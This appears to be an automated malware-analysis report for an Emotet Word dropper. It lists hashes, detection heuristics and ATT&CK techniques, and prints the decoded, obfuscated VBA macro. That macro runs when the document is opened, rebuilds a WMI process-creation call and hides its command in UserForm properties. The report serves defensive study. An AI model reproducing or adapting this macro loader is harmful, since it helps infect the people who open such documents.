Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 a4730c2913b245cc…

MALICIOUS

Office (OLE)

167.4 KB Created: 2020-07-22 15:30:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 0eac99e33ff0f4f70442a0bd4e14b153 SHA-1: 8fc32b9270d26a5a6d5f237c342445147ae976ef SHA-256: a4730c2913b245ccb77ed0c4a10031a10360828ea6681eb4f9831c502bf0c2dc
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro that is automatically executed upon opening the document, as indicated by the 'Document_Open' macro and 'OLE_VBA_DOCOPEN' heuristic. The macro utilizes a hidden UserForm property to stage and execute commands, a known technique for Emotet. The ClamAV detection further supports the Emotet family attribution. The script's obfuscated nature and use of string concatenation to build commands suggest it downloads and executes a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Dropper.EmotetIOS-9402070-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetIOS-9402070-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11474 bytes
SHA-256: aade6a57999819d2f037f0e13b2abb66ce8770f3726ef0e6a9856ed99fab93af
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "hauthwaegdebthuap"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
vianwuurtioj
End Sub


Attribute VB_Name = "quaiddih"
Attribute VB_Base = "0{5B06B4BA-936E-4FF7-B44C-D3C4AB7DFBE6}{CCA82118-B4DD-4FDC-A36F-1162A041D87C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "toitheuwweit"
Function vianwuurtioj()
quoawxaothmel = Chr(quaiddih.Zoom + Int(3 * 5))
Dim iYmdslQX As Integer
iYmdslQX = 5
Do While iYmdslQX < 5 + 8
iYmdslQX = iYmdslQX + 3: DoEvents
Loop
moathgouh = "328hbab239***bhqj62vhvhqwi328hbab239***bhqj62vhvhqnm328hbab239***bhqj62vhvhqgm328hbab239***bhqj62vhvhqt" + quoawxaothmel + ":328hbab239***bhqj62vhvhqw328hbab239***bhqj62vhvhqin328hbab239***bhqj62vhvhq32328hbab239***bhqj62vhvhq_" + quaiddih.haltaipneey + "r328hbab239***bhqj62vhvhqoc328hbab239***bhqj62vhvhqes328hbab239***bhqj62vhvhqs328hbab239***bhqj62vhvhq"
Dim Em4ápvnne As Integer
Em4ápvnne = 6
Do While Em4ápvnne < 6 + 9
Em4ápvnne = Em4ápvnne + 9: DoEvents
Loop
xiatsuarroequ = thoithdair(moathgouh)
Dim uVS8Üe As Long
Set yachdeockaenrieh = CreateObject(xiatsuarroequ)
Dim UAJ7ÕQ As Integer
UAJ7ÕQ = 9
Do While UAJ7ÕQ < 9 + 4
UAJ7ÕQ = UAJ7ÕQ + 5: DoEvents
Loop
bubthoedhuuc = quaiddih.koottheetyeotdiev.ControlTipText
Dim IH6ÑbnI As String
IH6ÑbnI = Replace$("biBYTw6Õ", "biBY", "MckQ")
futpauzseuf = xiatsuarroequ + quoawxaothmel + quaiddih.dehmaoc.ControlTipText + bubthoedhuuc
Dim G5Ø3ÔkLKA As Integer
G5Ø3ÔkLKA = 2
Do While G5Ø3ÔkLKA < 2 + 3
G5Ø3ÔkLKA = G5Ø3ÔkLKA + 6: DoEvents
Loop
zaoxxeiqugaith = futpauzseuf + quaiddih.haltaipneey
Dim FHj1Ü As Integer
FHj1Ü = 4
Do While FHj1Ü < 4 + 2
FHj1Ü = FHj1Ü + 5: DoEvents
Loop
Set thaubzooc = wuchpehyijweow(zaoxxeiqugaith)
Dim C5ÕaZP As String
C5ÕaZP = Replace$("NZsnoSoX6âjLgcfJu", "NZsnoSo", "XduChq")
xiopec = Array("NZsnoSoX6âjLgcfJu", yachdeockaenrieh. _
Create(paonnoem, hiequgiovyaoch, thaubzooc), "uYIFXD0ÆHyWk5ÜupdGq")
Dim GZw5ÀOisy As Integer
GZw5ÀOisy = 6
Do While GZw5ÀOisy < 6 + 5
GZw5ÀOisy = GZw5ÀOisy + 7: DoEvents
Loop
End Function
Function wuchpehyijweow(zionweovgieth)
Set wuchpehyijweow = CreateObject(zionweovgieth)
Dim RugsN As String
RugsN = Replace$("uYIFXD0ÆHyWk5ÜupdGq", "uYIFXD0ÆH", "rDYA")
wuchpehyijweow _
. _
showwindow = (thoathwoz + poaxtoigquiar) + (thuuttionpizhiad + nuatfauhdoqutauf)
Dim hDvm As Object
Dim fSfOKNrdp As Integer
fSfOKNrdp = 7
Do While fSfOKNrdp < 7 + 2
fSfOKNrdp = fSfOKNrdp + 6: DoEvents
Loop
End Function
Function thoithdair(siowjefwaur)
hauzquoijseuxpoun = siowjefwaur
Dim k2ÁtJPgnG As Date
zoigquoequraz = Split(hauzquoijseuxpoun, "328hbab239***bhqj62vhvhq")
Dim qjXwTPSvh As String
qjXwTPSvh = Replace$("KR6ÇZeLj3ÃSC", "KR6ÇZ", "P1ÚQc8Í")
hiastitquat = we + Join(zoigquoequraz, ew)
Dim DHB7ÄqedUU As Integer
DHB7ÄqedUU = 1
Do While DHB7ÄqedUU < 1 + 3
DHB7ÄqedUU = DHB7ÄqedUU + 3: DoEvents
Loop
thoithdair = hiastitquat
Dim SHj3ÓV8Ê As Integer
SHj3ÓV8Ê = 6
Do While SHj3ÓV8Ê < 6 + 3
SHj3ÓV8Ê = SHj3ÓV8Ê + 1: DoEvents
Loop
End Function
Function paonnoem()
aqw = quaiddih.cheoksougmoez.Pages(1).ControlTipText
Dim vvLfp As Integer
vvLfp = 8
Do While vvLfp < 8 + 9
vvLfp = vvLfp + 4: DoEvents
Loop
paonnoem = thoithdair(aqw)
Dim eRs As Integer
eRs = 1
Do While eRs < 1 + 3
eRs = eRs + 8: DoEvents
Loop
End Function


' Processing file: /opt/analyzer/scan_staging/a8af6bbab9d44300a0635fc615e4e5aa.bin
' ===============================================================================
' Module streams:
' Macros/VBA/hauthwaegdebthuap - 1367 bytes
' Line #0:
' 	LineCont 0x0004 02 00 00 00
' 	FuncDefn (Sub hauthwaegdebthuap())
' Line #1:
' 	ArgsCall Document_open 0x0000 
' Line #2:
'
... (truncated)

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